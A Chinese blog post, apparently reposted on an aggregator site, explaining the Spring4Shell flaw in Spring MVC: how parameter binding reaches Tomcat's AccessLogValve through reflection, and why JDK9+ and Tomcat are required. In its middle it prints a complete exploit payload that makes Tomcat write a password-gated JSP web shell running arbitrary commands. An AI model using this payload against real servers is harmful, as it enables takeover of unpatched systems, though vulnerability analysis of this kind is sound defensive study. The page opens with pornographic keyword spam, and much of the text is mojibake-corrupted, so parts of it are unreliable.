日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 前端技术 > javascript >内容正文

javascript

Spring4Shell的漏洞原理分析

發(fā)布時(shí)間:2023/12/4 javascript 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Spring4Shell的漏洞原理分析 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

Spring框架最新的PoC

這兩天出來(lái)的一個(gè)RCE漏洞,但是有以下的條件限制才行:

  • 必須是jdk9及以上

  • 必須是部署在tomcat的應(yīng)用

  • 是springmvc的或者webflux的應(yīng)用

具體的可以查看spring官方:

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

我看到這個(gè)漏洞的時(shí)候,就去查了以下怎么利用的,github一搜很多py腳本。

但是我沒(méi)找到漏洞利用的原理,所以我就自己做了個(gè)demo,然后debugger了一下,原來(lái)是這樣~

漏洞利用的原理

我們都知道,我們?cè)趕pringmvc的時(shí)候經(jīng)常會(huì)這么寫代碼來(lái)接收前端傳來(lái)的參數(shù)

@RequestMapping(value?=?"/register",?method?=?RequestMethod.GET) public?String?register(@RequestParam?Map<String,?String>?requestparams,?Model?model)?throws?Exception?{String?email?=?requestparams.get("email");String?username?=?requestparams.get("username");model.addAttribute("data",?"email:"?+?email?+?"?username:"?+?username);return?"index"; }

如果我們這么訪問(wèn):

http://localhost:8080/vulnerable_war/register?email=11&username=b

那么返回的結(jié)果就是這樣:

image

那么如果我們把接收的類型從Map轉(zhuǎn)成一個(gè)POJO的話,就像這樣:

@RequestMapping(value?=?"/register2",?method?=?RequestMethod.GET) public?String?register2(HelloWorld?obj,?Model?model)?throws?Exception?{model.addAttribute("data",?obj.toString());return?"index"; }

訪問(wèn)一下:

image

這說(shuō)明了,springmvc框架幫我們做了一個(gè)很重要的事情:

通過(guò)我們請(qǐng)求的數(shù)據(jù),轉(zhuǎn)成了POJO對(duì)象。

恰巧就是這個(gè)非常好用的封裝導(dǎo)致了這個(gè)POC

解析POC第一步:到底構(gòu)造了一個(gè)什么數(shù)據(jù)會(huì)引發(fā)呢?

跑的環(huán)境是:

  • jdk11

  • tomcat8.5.58

  • spring-webmvc5.3.15

class.module.classLoader.resources.context.parent.pipeline.first.pattern= %{c2}i?if("j".equals(request.getParameter("pwd"))){?java.io.InputStream?in?=?%{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream();?int?a?=?-1;?byte[]?b?=?new?byte[2048];?while((a=in.read(b))!=-1){?out.println(new?String(b));?}?}?%{suffix}iclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

將上面的數(shù)據(jù)用下面post的方式調(diào)用下面的接口

image@RequestMapping(value?=?"/rapid7") public?void?vulnerable(HelloWorld?model)?{}

注意header里面的值是需要的,目的是為了迎合tomcat日志的pattern(下面會(huì)講到)

  • %i 這個(gè)語(yǔ)法是從請(qǐng)求的header里面拿xxx

就會(huì)在tomcat的Root目錄下生成一個(gè)jsp文件

image

內(nèi)容如下:

image

計(jì)息POC第二步:jsp文件是怎么生成的?

方法接收的class:HelloWorld,我這么傳,spring框架是怎么來(lái)處理的呢?

image

根據(jù)HelloWorld的實(shí)例

結(jié)合傳過(guò)來(lái)屬性路徑:class.module.classLoader.resources.context.parent.pipeline.first.pattern

然后一步步的運(yùn)用反射來(lái)去拿屬性對(duì)應(yīng)的值,這個(gè)例子的話就是

  • 調(diào)用HelloWorld的getClass() 拿到Class對(duì)象

  • 通過(guò)class對(duì)象調(diào)用getModule()

  • 通過(guò)Module調(diào)用getClassLoader()

  • 通過(guò)ClassLoader拿resources

  • context是Tomcat的StandardContext

  • parent拿到的是StandardEngine

  • pipeline拿到的是StandardPipeline

  • first拿到的是AccessLogValve

可以在下圖所示設(shè)置斷點(diǎn):就可以看到上面說(shuō)的每一步了

主角上場(chǎng):

AccessLogValve是tomcat記錄日志的,

  • pattern是日志格式

  • suffix是日志文件的后綴

  • prefix是日志文件的前綴

  • fileDateFormat是日期文件的時(shí)間格式

謎底揭曉

根據(jù)以上分析,我們知道,傳過(guò)去的data由對(duì)象的class作為引子,然后springmvc會(huì)一步步反射拿屬性的方式最終是給AccessLogValve對(duì)象的幾個(gè)屬性的賦值操作

經(jīng)過(guò)對(duì)tomcat的處理請(qǐng)求的日志管道(AccessLogValve)的改寫,導(dǎo)致當(dāng)前請(qǐng)求會(huì)被觸發(fā)記錄日志,日志會(huì)按照我們想要的方式生成了一個(gè)jsp文件。

image

為啥是jdk9及以上版本呢,因?yàn)閙odule的概念是從jdk9開(kāi)始的~

為啥是得部署到tomcat里的應(yīng)用呢,因?yàn)橹挥羞@樣才會(huì)利用它的日志功能~

spring是咋修復(fù)的

image

我是正東,學(xué)的越多不知道也越多。一個(gè)漏洞引發(fā)的思考~收獲挺大!

總結(jié)

以上是生活随笔為你收集整理的Spring4Shell的漏洞原理分析的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。